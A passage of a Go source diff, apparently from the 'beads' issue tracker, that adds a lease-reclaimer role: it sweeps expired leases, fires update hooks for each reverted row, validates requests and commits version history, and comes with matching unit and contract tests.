subprocesses per run — the same value Releaser and ReadyClaimer are + // refused for, and the one whose caller is a clock rather than a human + // or a request. + case *hookLeaseReclaimer: + return true } return false } @@ -466,6 +473,15 @@ func (h *HookFiringStore) CompleteIssueOperationRelease(ctx context.Context, iss h.fireHookByID(ctx, hooks.EventUpdate, issueID) } +// CompleteIssueOperationReclaim fires the update hook for one row a lease +// sweep reverted, which is the event the generic update path fires for the +// same write — assignee and status are exactly the fields a reclaim moves, +// the same pair a release moves. It re-reads the row rather than taking the +// caller's, so a script sees the unheld issue the sweep produced. +func (h *HookFiringStore) CompleteIssueOperationReclaim(ctx context.Context, issueID string) { + h.fireHookByID(ctx, hooks.EventUpdate, issueID) +} + func (h *HookFiringStore) fireHookByID(ctx context.Context, event, id string) { if h.runner == nil { return diff --git a/internal/storage/hook_issue_operations.go b/internal/storage/hook_issue_operations.go index ba41e5d81..7926a5694 100644 --- a/internal/storage/hook_issue_operations.go +++ b/internal/storage/hook_issue_operations.go @@ -35,6 +35,7 @@ type issueOperationHooks interface { CompleteIssueOperationComment(ctx context.Context, issueID string) CompleteIssueOperationMetadata(ctx context.Context, issueID string) CompleteIssueOperationRelease(ctx context.Context, issueID string) + CompleteIssueOperationReclaim(ctx context.Context, issueID string) } var _ issueOperationHooks = (*HookFiringStore)(nil) diff --git a/internal/storage/hook_issue_operations_test.go b/internal/storage/hook_issue_operations_test.go index 0c86b95ea..13a788060 100644 --- a/internal/storage/hook_issue_operations_test.go +++ b/internal/storage/hook_issue_operations_test.go @@ -63,6 +63,9 @@ func (r *recordingIssueOperationHooks) CompleteIssueOperationMetadata(_ context. func (r *recordingIssueOperationHooks) CompleteIssueOperationRelease(_ context.Context, issueID string) { r.completions = append(r.completions, "release:"+issueID) } +func (r *recordingIssueOperationHooks) CompleteIssueOperationReclaim(_ context.Context, issueID string) { + r.completions = append(r.completions, "reclaim:"+issueID) +} // lifecycleStore is a DoltStorage whose only real method is IssueLifecycle. type lifecycleStore struct { diff --git a/internal/storage/hook_lease_reclaimer.go b/internal/storage/hook_lease_reclaimer.go new file mode 100644 index 000000000..e94877f93 --- /dev/null +++ b/internal/storage/hook_lease_reclaimer.go @@ -0,0 +1,42 @@ +package storage + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimer returns the inner store's lease-sweep surface with this +// decorator's completion hooks layered over it. +// +// It WRAPS rather than recursing unwrapped, for the reason Releaser does: a +// reclaim changes an issue's assignee and status per reverted row, which is +// an on_update in the vocabulary internal/hooks publishes, and the row it +// names is still there to hand a script. +// +// It recurses instead of delegating, so a blind delegation would hand back +// the inner store's surface and silently stop firing it. +func (h *HookFiringStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + inner, err := h.inner.LeaseReclaimer() + if err != nil { + return nil, err + } + return &hookLeaseReclaimer{inner: inner, hooks: h}, nil +} + +type hookLeaseReclaimer struct { + inner issueops.LeaseReclaimer + hooks issueOperationHooks +} + +// Reclaim fires the update hook once for every row the sweep reverted. +func (r *hookLeaseReclaimer) Reclaim(ctx context.Context, request issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + result, err := r.inner.Reclaim(ctx, request) + if err != nil { + return result, err + } + for _, reclaimed := range result.Reclaimed { + r.hooks.CompleteIssueOperationReclaim(ctx, reclaimed.ID) + } + return result, nil +} diff --git a/internal/storage/hook_lease_reclaimer_test.go b/internal/storage/hook_lease_reclaimer_test.go new file mode 100644 index 000000000..a3d8506df --- /dev/null +++ b/internal/storage/hook_lease_reclaimer_test.go @@ -0,0 +1,83 @@ +package storage + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +type fakeLeaseReclaimer struct { + result issueops.ReclaimResult + err error +} + +func (f *fakeLeaseReclaimer) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return f.result, f.err +} + +// TestHookLeaseReclaimerFiresOncePerReclaimedRow is the decorator's whole +// subject: one on_update completion for every row the sweep reverted, in the +// sweep's order, and none at all for a refusal — even a refusal that somehow +// carries rows, because the role leaves its result unspecified on error. +func TestHookLeaseReclaimerFiresOncePerReclaimedRow(t *testing.T) { + for _, test := range []struct { + name string + inner *fakeLeaseReclaimer + wantFire []string + }{ + { + name: "every reverted row fires once", + inner: &fakeLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{ + {ID: "bd-1"}, {ID: "bd-2"}, + }}}, + wantFire: []string{"reclaim:bd-1", "reclaim:bd-2"}, + }, + { + name: "a sweep that reverted nothing fires nothing", + inner: &fakeLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}}, + }, + { + name: "a refusal fires nothing", + inner: &fakeLeaseReclaimer{err: errors.New("boom")}, + }, + { + name: "a refusal that carries rows still fires nothing", + inner: &fakeLeaseReclaimer{ + result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{{ID: "bd-1"}}}, + err: errors.New("boom"), + }, + }, + } { + t.Run(test.name, func(t *testing.T) { + recorder := &recordingIssueOperationHooks{} + reclaimer := &hookLeaseReclaimer{inner: test.inner, hooks: recorder} + + _, err := reclaimer.Reclaim(context.Background(), issueops.ReclaimRequest{Actor: "reaper"}) + if (err != nil) != (test.inner.err != nil) { + t.Fatalf("Reclaim error = %v, want %v", err, test.inner.err) + } + if !reflect.DeepEqual(recorder.completions, test.wantFire) { + t.Fatalf("hooks fired = %v, want %v", recorder.completions, test.wantFire) + } + }) + } +} + +// TestHookLeaseReclaimerPassesTheResultThrough pins that the decorator reports +// exactly what the role reported, revisions included: a hook layer that +// rewrote the result would be deciding which token a caller feeds forward. +func TestHookLeaseReclaimerPassesTheResultThrough(t *testing.T) { + want := issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{{ID: "bd-1", PreviousOwner: "w", Revision: "42"}}} + reclaimer := &hookLeaseReclaimer{inner: &fakeLeaseReclaimer{result: want}, hooks: &recordingIssueOperationHooks{}} + + got, err := reclaimer.Reclaim(context.Background(), issueops.ReclaimRequest{Actor: "reaper"}) + if err != nil { + t.Fatalf("Reclaim error = %v", err) + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("Reclaim result = %+v, want %+v", got, want) + } +} diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 0838bce48..be4703360 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -66,6 +66,7 @@ go_library( "journal_prune.go", "labels.go", "lease.go", + "lease_reclaimer.go", "metadata.go", "metadata_cas.go", "molecule.go", @@ -164,6 +165,7 @@ go_test( "journal_truncation_test.go", "journal_vocabulary_test.go", "label_rename_merged_count_test.go", + "lease_reclaimer_test.go", "lease_replica_test.go", "metadata_test.go", "prepare_timestamps_utc_test.go", diff --git a/internal/storage/issueops/lease.go b/internal/storage/issueops/lease.go index d2b75f7e7..2ec940280 100644 --- a/internal/storage/issueops/lease.go +++ b/internal/storage/issueops/lease.go @@ -667,6 +667,11 @@ func reclaimReplicaSQL(filter types.ReclaimFilter, localNode string) (string, [] // the lease from) so the caller can log/emit recovery events. The caller owns // Dolt versioning. // +// This is the one place a reclaimed row's revision token is minted: the row's +// freshRowLock() value is captured off the revert UPDATE and published on +// each types.ReclaimedLease as types.RevisionToken(newLock), the same +// encoding IssueDetails.Revision uses. +// // filter narrows which stale leases are eligible (see types.ReclaimFilter); the // zero filter keeps the historical global behavior. Scoping is applied to the // snapshot SELECT only — the per-row DELETE/UPDATE re-checks staleness by id, @@ -754,12 +759,13 @@ func ReclaimExpiredLeasesInTx(ctx context.Context, tx DBTX, cutoff time.Time, fi // being in_progress under us (closed) is left alone; row_lock makes a // concurrent close/update conflict at commit time rather than // cell-merge with this write. + newLock := freshRowLock() res, err = tx.ExecContext(ctx, ` UPDATE issues SET status = 'open', assignee = NULL, started_at = NULL, updated_at = ?, row_lock = ? WHERE id = ? AND status = 'in_progress' - `, time.Now().UTC(), freshRowLock(), r.ID) + `, time.Now().UTC(), newLock, r.ID) if err != nil { return nil, fmt.Errorf("reclaim %s: %w", r.ID, err) } @@ -770,6 +776,7 @@ func ReclaimExpiredLeasesInTx(ctx context.Context, tx DBTX, cutoff time.Time, fi if n == 0 { continue // no longer in_progress — its lease row was stale anyway } + r.Revision = types.RevisionToken(newLock) if err := RecordFullEventInTable(ctx, tx, "events", r.ID, types.EventLeaseReclaimed, actor, r.PreviousOwner, ""); err != nil { return nil, fmt.Errorf("record reclaim event for %s: %w", r.ID, err) diff --git a/internal/storage/issueops/lease_reclaimer.go b/internal/storage/issueops/lease_reclaimer.go new file mode 100644 index 000000000..ba0e8b4cb --- /dev/null +++ b/internal/storage/issueops/lease_reclaimer.go @@ -0,0 +1,123 @@ +package issueops + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// ValidateReclaimRequest applies the request rules every LeaseReclaimer +// implementation shares. +// +// THE CAP IS CHECKED AGAINST Filter.IDs AS SENT, before deduplication, for +// ValidateGetManyRequest's reason: the obligation it bounds is reading the +// request apart, not reading the rows it resolves to. +// +// THE ACTOR IS BOUNDED HERE, trimmed as the sweep records it, for +// claimIssueInTx's reason: every reverted row's recovery event lands in a +// VARCHAR(255) column, so an over-long actor is a typed refusal on every leg +// rather than a raw backend error on the first sweep that reverts something. +// +// It is the ONE definition of the role's rules: the library legs run it, and +// the HTTP client restates it (pinned by +// TestReclaimValidationMatchesTheSharedValidator). Every refusal but the cap +// is a *publicops.ReclaimFieldError naming its field. bd serve's handler leaves +// the id cap and the blank entries to it, and adds three rules of the wire's +// own that a library caller is not held to: the claim's name rules on the +// actor (a 256-byte bound, no control characters), an `older_than_seconds` a +// time.Duration can hold, and no scope member present but empty. +func ValidateReclaimRequest(request publicops.ReclaimRequest) error { + actor := strings.TrimSpace(request.Actor) + if actor == "" { + return reclaimFieldError(publicops.ReclaimFieldActor, "reclaim actor is required") + } + if err := types.CheckFieldLen("actor", actor); err != nil { + return reclaimFieldError(publicops.ReclaimFieldActor, err.Error()) + } + if request.OlderThan < 0 { + return reclaimFieldError(publicops.ReclaimFieldOlderThan, "reclaim older_than must not be negative") + } + if len(request.Filter.IDs) > publicops.MaxReclaimIDs { + return &publicops.TooManyReclaimIDsError{Requested: len(request.Filter.IDs), Cap: publicops.MaxReclaimIDs} + } + for i, id := range request.Filter.IDs { + if id == "" { + return reclaimFieldError(publicops.ReclaimFieldIDs, fmt.Sprintf("reclaim scope id at position %d is empty", i)) + } + } + for _, scope := range []struct { + field string + values []string + }{ + {publicops.ReclaimFieldAssignees, request.Filter.Assignees}, + {publicops.ReclaimFieldLabels, request.Filter.Labels}, + {publicops.ReclaimFieldLabelsAny, request.Filter.LabelsAny}, + {publicops.ReclaimFieldExcludeLabels, request.Filter.ExcludeLabels}, + } { + for i, v := range scope.values { + if strings.TrimSpace(v) == "" { + return reclaimFieldError(scope.field, fmt.Sprintf("reclaim %s entry at position %d is blank", scope.field, i)) + } + } + } + return nil +} + +func reclaimFieldError(field, detail string) error { + return &publicops.ReclaimFieldError{Field: field, Detail: storage.ErrValidation.Error() + ": " + detail} +} + +// ExecuteReclaimInTx sweeps stale leases from tx, in ONE transaction. It is +// the body behind the LeaseReclaimer accessor on ALL THREE legs: the two +// stores wrap it in their own retrying write transaction, and the +// unit-of-work provider reaches it through the domain repository, whose +// runner publishes exactly the DBTX method set ReclaimExpiredLeasesInTx +// takes. +// +// VALIDATION HAPPENS HERE, for ExecuteGetMany's reason: this body is the only +// body, so a leg that forgot to validate would be answering a different +// contract. It runs before the cutoff is computed and before the sweep's +// query, so a request that fails validation never reaches storage. +// +// THE CUTOFF IS COMPUTED HERE, once, from time.Now().UTC().Add(-OlderThan), so +// every leg sweeps against the same clock read rather than each leg taking its +// own — the dolt and embedded-dolt wrappers and the unit-of-work repository +// all call this function with the request, never with a precomputed cutoff. +func ExecuteReclaimInTx(ctx context.Context, tx DBTX, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + if err := ValidateReclaimRequest(request); err != nil { + return publicops.ReclaimResult{}, err + } + cutoff := time.Now().UTC().Add(-request.OlderThan) + reclaimed, err := ReclaimExpiredLeasesInTx(ctx, tx, cutoff, request.Filter, strings.TrimSpace(request.Actor)) + if err != nil { + return publicops.ReclaimResult{}, fmt.Errorf("reclaim: %w", err) + } + if reclaimed == nil { + reclaimed = []publicops.ReclaimedLease{} + } + return publicops.ReclaimResult{Reclaimed: reclaimed}, nil +} + +// ReclaimVersionCommit composes the version-control entry for a finished sweep: +// the durable tables it changed and the message to record them under. A sweep +// that reverted nothing composes neither, which every leg's commit funnel reads +// as "write nothing to history", so a no-op reaper tick leaves no entry +// describing a no-op. +// +// It is ONE helper the three legs share so the message cannot drift between +// them: the same "bd: reclaim N expired lease(s)" the raw ReclaimExpiredLeases +// has always recorded. The staged set is the one the release records, issues +// and events, because a reclaim is the same revert applied by a clock. +func ReclaimVersionCommit(result publicops.ReclaimResult) (ChangedTables, string) { + if len(result.Reclaimed) == 0 { + return nil, "" + } + tables := ChangedTables{} + tables.Add("issues", "events") + return tables, fmt.Sprintf("bd: reclaim %d expired lease(s)", len(result.Reclaimed)) +} diff --git a/internal/storage/issueops/lease_reclaimer_test.go b/internal/storage/issueops/lease_reclaimer_test.go new file mode 100644 index 000000000..5b97b50af --- /dev/null +++ b/internal/storage/issueops/lease_reclaimer_test.go @@ -0,0 +1,107 @@ +package issueops + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/DATA-DOG/go-sqlmock" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestValidateReclaimRequestRefusesInTheDocumentedOrder pins the database-free +// tier of the role's refusals: each rule on both sides, and the cap checked +// before the blank scan, against the request as sent. +func TestValidateReclaimRequestRefusesInTheDocumentedOrder(t *testing.T) { + overCap := make([]string, publicops.MaxReclaimIDs+1) + atCap := make([]string, publicops.MaxReclaimIDs) + for i := range atCap { + atCap[i] = "bd-x" + } + for _, test := range []struct { + name string + request publicops.ReclaimRequest + wantErr bool + wantCap bool + }{ + {"a bare valid request", publicops.ReclaimRequest{Actor: "reaper"}, false, false}, + {"a zero grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: 0}, false, false}, + {"exactly the cap", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: atCap}}, false, false}, + {"no actor", publicops.ReclaimRequest{}, true, false}, + {"a blank actor", publicops.ReclaimRequest{Actor: " "}, true, false}, + // The actor is bounded as the sweep records it: trimmed, then held to + // its column, so padding around a value at the bound is not over it. + {"an actor at the bound", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen)}, false, false}, + {"a padded actor at the bound", publicops.ReclaimRequest{Actor: " " + strings.Repeat("r", types.MaxFieldLen) + " "}, false, false}, + {"an over-long actor", publicops.ReclaimRequest{Actor: strings.Repeat("r", types.MaxFieldLen+1)}, true, false}, + {"a negative grace window", publicops.ReclaimRequest{Actor: "reaper", OlderThan: -time.Nanosecond}, true, false}, + {"a blank id", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: []string{"bd-1", ""}}}, true, false}, + {"a blank assignee", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{Assignees: []string{"w", " "}}}, true, false}, + {"a blank label", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{Labels: []string{""}}}, true, false}, + {"a blank label-any", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{LabelsAny: []string{"\t"}}}, true, false}, + {"a blank exclude", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{ExcludeLabels: []string{"x", ""}}}, true, false}, + // Every entry blank AND one past the cap: the cap answers, so a caller + // that sent 1001 ids learns about the cap rather than about an entry. + {"over the cap of blanks", publicops.ReclaimRequest{Actor: "reaper", Filter: publicops.ReclaimFilter{IDs: overCap}}, true, true}, + } { + t.Run(test.name, func(t *testing.T) { + err := ValidateReclaimRequest(test.request) + if (err != nil) != test.wantErr { + t.Fatalf("ValidateReclaimRequest = %v, want error %v", err, test.wantErr) + } + if err == nil { + return + } + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("ValidateReclaimRequest = %v, want ErrValidation", err) + } + var capErr *publicops.TooManyReclaimIDsError + if got := errors.As(err, &capErr); got != test.wantCap { + t.Fatalf("errors.As(*TooManyReclaimIDsError) = %v, want %v (err %v)", got, test.wantCap, err) + } + var fieldErr *publicops.ReclaimFieldError + if !test.wantCap && (!errors.As(err, &fieldErr) || fieldErr.Field == "") { + t.Fatalf("refusal %v names no field; every refusal but the cap is a *ReclaimFieldError", err) + } + }) + } +} + +// TestExecuteReclaimInTxRefusesBeforeAnyQuery pins "a request that fails +// validation never reaches storage": the mock expects nothing, so any query +// would fail the test. +func TestExecuteReclaimInTxRefusesBeforeAnyQuery(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + _, err = ExecuteReclaimInTx(context.Background(), db, publicops.ReclaimRequest{}) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("ExecuteReclaimInTx with no actor = %v, want ErrValidation", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatal(err) + } +} + +// TestReclaimVersionCommitComposesNothingForANoOp pins the shared commit +// composition: no entry for a sweep that reverted nothing, and one entry +// naming the count, staging issues and events, for one that did. +func TestReclaimVersionCommitComposesNothingForANoOp(t *testing.T) { + if tables, msg := ReclaimVersionCommit(publicops.ReclaimResult{Reclaimed: []publicops.ReclaimedLease{}}); len(tables) != 0 || msg != "" { + t.Fatalf("a no-op sweep composed tables=%v msg=%q, want neither", tables, msg) + } + tables, msg := ReclaimVersionCommit(publicops.ReclaimResult{Reclaimed: []publicops.ReclaimedLease{{ID: "a"}, {ID: "b"}}}) + if !tables["issues"] || !tables["events"] || len(tables) != 2 { + t.Fatalf("tables = %v, want issues and events", tables) + } + if !strings.Contains(msg, "reclaim 2 expired lease(s)") { + t.Fatalf("message = %q, want it to name the two reverted leases", msg) + } +} diff --git a/internal/storage/role_accessor_decorator_test.go b/internal/storage/role_accessor_decorator_test.go index aa8ce3b57..540518354 100644 --- a/internal/storage/role_accessor_decorator_test.go +++ b/internal/storage/role_accessor_decorator_test.go @@ -68,11 +68,11 @@ func roleAccessorNamesOf(surface reflect.Type) (names, unclassified []string) { } // TestEveryStoreRoleAccessorIsClassified fails when DoltStorage hands out an -// interface the census cannot place. Every one of the twenty-eight today is a +// interface the census cannot place. Every one of the twenty-nine today is a // facade role, so this costs nothing and closes the path where a role surface // grows a package and the census quietly stops covering it. (roleAccessorNames // is derived, so the count is prose and only this sentence goes stale — but it -// does go stale, and the last three sweeps found it saying twenty-seven.) +// does go stale, and the last three sweeps found it saying twenty-eight.) func TestEveryStoreRoleAccessorIsClassified(t *testing.T) { _, unclassified := roleAccessorNamesOf(reflect.TypeOf((*DoltStorage)(nil)).Elem()) for _, accessor := range unclassified { @@ -151,71 +151,73 @@ func assertRoleAccessorsAreDeclared(t *testing.T, decorator reflect.Type) { } // roleAccessorStore is a DoltStorage whose only real methods are the -// twenty-eight role accessors, each answering with a distinguishable sentinel +// twenty-nine role accessors, each answering with a distinguishable sentinel // so a test can tell a decorated surface from a passed-through one. type roleAccessorStore struct { DoltStorage - lifecycle issueops.Lifecycle - reader issueops.Reader - relations issueops.Relations - edges issueops.EdgeReader - blocking issueops.BlockingAnnotator - tree issueops.TreeWalker - graphCounter issueops.GraphCounter - batchGetter issueops.BatchGetter - counter issueops.Counter - settings issueops.WorkspaceConfig - memories memoryops.Memories - versions issueops.VersionReconciler - stats issueops.StatsReporter - cycles issueops.CycleDetector - commenter issueops.Commenter - claimer issueops.ReadyClaimer - closer issueops.BatchCloser - creator issueops.BatchCreator - editor issueops.DependencyEditor - applier issueops.BatchApplier - readyCounter issueops.ReadyCounter - querier issueops.Querier - sweeper issueops.Sweeper - deleter issueops.Deleter - bootstrapper issueops.Bootstrapper - verifier issueops.InitVerifier - metadataCAS issueops.MetadataCAS - releaser issueops.Releaser - err error + lifecycle issueops.Lifecycle + reader issueops.Reader + relations issueops.Relations + edges issueops.EdgeReader + blocking issueops.BlockingAnnotator + tree issueops.TreeWalker + graphCounter issueops.GraphCounter + batchGetter issueops.BatchGetter + counter issueops.Counter + settings issueops.WorkspaceConfig + memories memoryops.Memories + versions issueops.VersionReconciler + stats issueops.StatsReporter + cycles issueops.CycleDetector + commenter issueops.Commenter + claimer issueops.ReadyClaimer + closer issueops.BatchCloser + creator issueops.BatchCreator + editor issueops.DependencyEditor + applier issueops.BatchApplier + readyCounter issueops.ReadyCounter + querier issueops.Querier + sweeper issueops.Sweeper + deleter issueops.Deleter + bootstrapper issueops.Bootstrapper + verifier issueops.InitVerifier + metadataCAS issueops.MetadataCAS + releaser issueops.Releaser + leaseReclaimer issueops.LeaseReclaimer + err error } func newRoleAccessorStore() *roleAccessorStore { sentinel := &roleAccessorSentinel{} return &roleAccessorStore{ - memories: &memoryRoleSentinel{}, - lifecycle: sentinel, - reader: sentinel, - relations: sentinel, - edges: sentinel, - blocking: sentinel, - graphCounter: sentinel, - batchGetter: sentinel, - counter: sentinel, - settings: sentinel, - versions: sentinel, - stats: sentinel, - cycles: sentinel, - commenter: sentinel, - claimer: sentinel, - closer: sentinel, - creator: sentinel, - editor: sentinel, - applier: sentinel, - readyCounter: sentinel, - querier: sentinel, - sweeper: sentinel, - deleter: sentinel, - bootstrapper: sentinel, - verifier: sentinel, - metadataCAS: sentinel, - releaser: sentinel, + memories: &memoryRoleSentinel{}, + lifecycle: sentinel, + reader: sentinel, + relations: sentinel, + edges: sentinel, + blocking: sentinel, + graphCounter: sentinel, + batchGetter: sentinel, + counter: sentinel, + settings: sentinel, + versions: sentinel, + stats: sentinel, + cycles: sentinel, + commenter: sentinel, + claimer: sentinel, + closer: sentinel, + creator: sentinel, + editor: sentinel, + applier: sentinel, + readyCounter: sentinel, + querier: sentinel, + sweeper: sentinel, + deleter: sentinel, + bootstrapper: sentinel, + verifier: sentinel, + metadataCAS: sentinel, + releaser: sentinel, + leaseReclaimer: sentinel, } } @@ -286,8 +288,11 @@ func (s *roleAccessorStore) BatchApplier() (issueops.BatchApplier, error) { func (s *roleAccessorStore) Releaser() (issueops.Releaser, error) { return s.releaser, s.err } +func (s *roleAccessorStore) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return s.leaseReclaimer, s.err +} -// roleAccessorSentinel implements twenty-seven of the twenty-eight roles at +// roleAccessorSentinel implements twenty-eight of the twenty-nine roles at // once — every one but memoryops.Memories, whose List collides with // issueops.Reader.List and needs the second sentinel below. // Nothing calls its methods; identity is the whole point. @@ -412,6 +417,9 @@ func (*roleAccessorSentinel) CompareAndSetKey(context.Context, issueops.CompareA func (*roleAccessorSentinel) Release(context.Context, issueops.ReleaseRequest) (issueops.ReleaseResult, error) { return issueops.ReleaseResult{}, nil } +func (*roleAccessorSentinel) Reclaim(context.Context, issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + return issueops.ReclaimResult{}, nil +} // memoryRoleSentinel is the memory role's sentinel, and the one role // memoryRoleSentinel is the remaining role's sentinel, and the one role @@ -474,6 +482,7 @@ func TestHookFiringStoreWrapsTheWriteRolesAndPassesTheReadsThrough(t *testing.T) {"MetadataCAS", func() (any, error) { return store.MetadataCAS() }, inner.metadataCAS, true}, {"BatchApplier", func() (any, error) { return store.BatchApplier() }, inner.applier, true}, {"Releaser", func() (any, error) { return store.Releaser() }, inner.releaser, true}, + {"LeaseReclaimer", func() (any, error) { return store.LeaseReclaimer() }, inner.leaseReclaimer, true}, {"IssueReader", func() (any, error) { return store.IssueReader() }, inner.reader, false}, {"IssueRelations", func() (any, error) { return store.IssueRelations() }, inner.relations, false}, {"EdgeReader", func() (any, error) { return store.EdgeReader() }, inner.edges, false}, @@ -532,6 +541,7 @@ func TestHookFiringStoreRoleAccessorsPropagateInnerErrors(t *testing.T) { {"MetadataCAS", func() (any, error) { return store.MetadataCAS() }}, {"BatchApplier", func() (any, error) { return store.BatchApplier() }}, {"Releaser", func() (any, error) { return store.Releaser() }}, + {"LeaseReclaimer", func() (any, error) { return store.LeaseReclaimer() }}, {"IssueReader", func() (any, error) { return store.IssueReader() }}, {"IssueRelations", func() (any, error) { return store.IssueRelations() }}, {"EdgeReader", func() (any, error) { return store.EdgeReader() }}, diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 8abe0b0fd..66553307f 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -378,6 +378,15 @@ type Storage interface { // assignee and status, which is on_update — the same event the journal // already records for it. See hook_releaser.go. Releaser() (issueops.Releaser, error) + // LeaseReclaimer returns the lease-sweep surface for this store: revert + // every lease that has been held past its deadline back to its + // pre-claim state, for a caller that is a clock rather than a human or a + // request. + // + // It is a WRITE role and its hook decorator WRAPS: a reclaim changes + // assignee and status per reverted row, which is on_update, the same + // event Releaser fires. See hook_lease_reclaimer.go. + LeaseReclaimer() (issueops.LeaseReclaimer, error) // Issue CRUD CreateIssue(ctx context.Context, issue *types.Issue, actor string) error diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 8b4abc0d4..fed8ccd9a 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -31,6 +31,7 @@ go_library( "issue_operations.go", "issue_reader.go", "journal_maintenance.go", + "lease_reclaimer.go", "maintenance.go", "memories.go", "metadata_cas.go", @@ -128,6 +129,7 @@ go_test( "journal_contract_test.go", "journal_delete_actor_test.go", "journal_scope_test.go", + "lease_reclaimer_contract_test.go", "lifecycle_close_reopen_contract_test.go", "lifecycle_create_contract_test.go", "lifecycle_role_hooks_test.go", diff --git a/internal/storage/uow/lease_reclaimer.go b/internal/storage/uow/lease_reclaimer.go new file mode 100644 index 000000000..1cc522c6b --- /dev/null +++ b/internal/storage/uow/lease_reclaimer.go @@ -0,0 +1,60 @@ +package uow + +import ( + "context" + "fmt" + + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + publicops "github.com/steveyegge/beads/issueops" +) + +// LeaseReclaimerSource is the capability accessor a unit-of-work provider +// offers for the lease-sweep role, the sibling of DeleterSource and +// ReleaserSource. +type LeaseReclaimerSource interface { + LeaseReclaimer() (publicops.LeaseReclaimer, error) +} + +// leaseReclaimer sweeps stale leases through a unit of work. +type leaseReclaimer struct { + provider UnitOfWorkProvider +} + +// LeaseReclaimer returns the guarded lease-sweep surface for this provider. +func (p *doltSQLProvider) LeaseReclaimer() (publicops.LeaseReclaimer, error) { + return NewLeaseReclaimer(p) +} + +// NewLeaseReclaimer constructs a public LeaseReclaimer backed by provider. +func NewLeaseReclaimer(provider UnitOfWorkProvider) (publicops.LeaseReclaimer, error) { + if isNilUnitOfWorkProvider(provider) { + return nil, fmt.Errorf("new lease reclaimer: unit-of-work provider must not be nil") + } + return &leaseReclaimer{provider: provider}, nil +} + +var _ publicops.LeaseReclaimer = (*leaseReclaimer)(nil) + +// Reclaim reaches domain.IssueUseCase.Reclaim inside ONE committing unit of +// work, composing the same conditional commit message the dolt and +// embedded-dolt legs use: a sweep that reverts nothing leaves no history +// entry describing a no-op. +// +// VALIDATION HAPPENS BEFORE THE UNIT OF WORK OPENS, as on those two legs and +// for Releaser's reason: a refusal then changes nothing on the connection as +// well as on the rows. The shared body validates again inside the transaction, +// which is what keeps a leg that skipped this from answering a different +// contract. +func (l *leaseReclaimer) Reclaim(ctx context.Context, request publicops.ReclaimRequest) (publicops.ReclaimResult, error) { + if err := storageissueops.ValidateReclaimRequest(request); err != nil { + return publicops.ReclaimResult{}, err + } + return RunTxResult(ctx, l.provider, func(ctx context.Context, uw UnitOfWork) (publicops.ReclaimResult, string, error) { + result, err := uw.IssueUseCase().Reclaim(ctx, request) + if err != nil { + return result, "", err + } + _, msg := storageissueops.ReclaimVersionCommit(result) + return result, msg, nil + }) +} diff --git a/internal/storage/uow/lease_reclaimer_contract_test.go b/internal/storage/uow/lease_reclaimer_contract_test.go new file mode 100644 index 000000000..edcda454a --- /dev/null +++ b/internal/storage/uow/lease_reclaimer_contract_test.go @@ -0,0 +1,146 @@ +package uow + +import ( + "context" + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestLeaseReclaimerContract runs the LeaseReclaimer contract against the +// unit-of-work provider, which reaches internal/storage/issueops. +// ExecuteReclaimInTx through domain.IssueUseCase.Reclaim inside one committing +// unit of work. +func TestLeaseReclaimerContract(t *testing.T) { + ctx, cancel := context.WithCancel(t.Context()) + defer cancel() + fixture := newUOWLeaseReclaimerFixture(t, ctx, "lrc") + + t.Run("RevertsAStaleLease", func(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, ctx, fixture) + }) + t.Run("MintsARevisionThatFencesTheFormerHolder", func(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, ctx, fixture) + }) + t.Run("LeavesALiveLeaseAlone", func(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, ctx, fixture) + }) + t.Run("HonorsTheGraceWindow", func(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, ctx, fixture) + }) + t.Run("ScopesToTheNamedIDs", func(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, ctx, fixture) + }) + 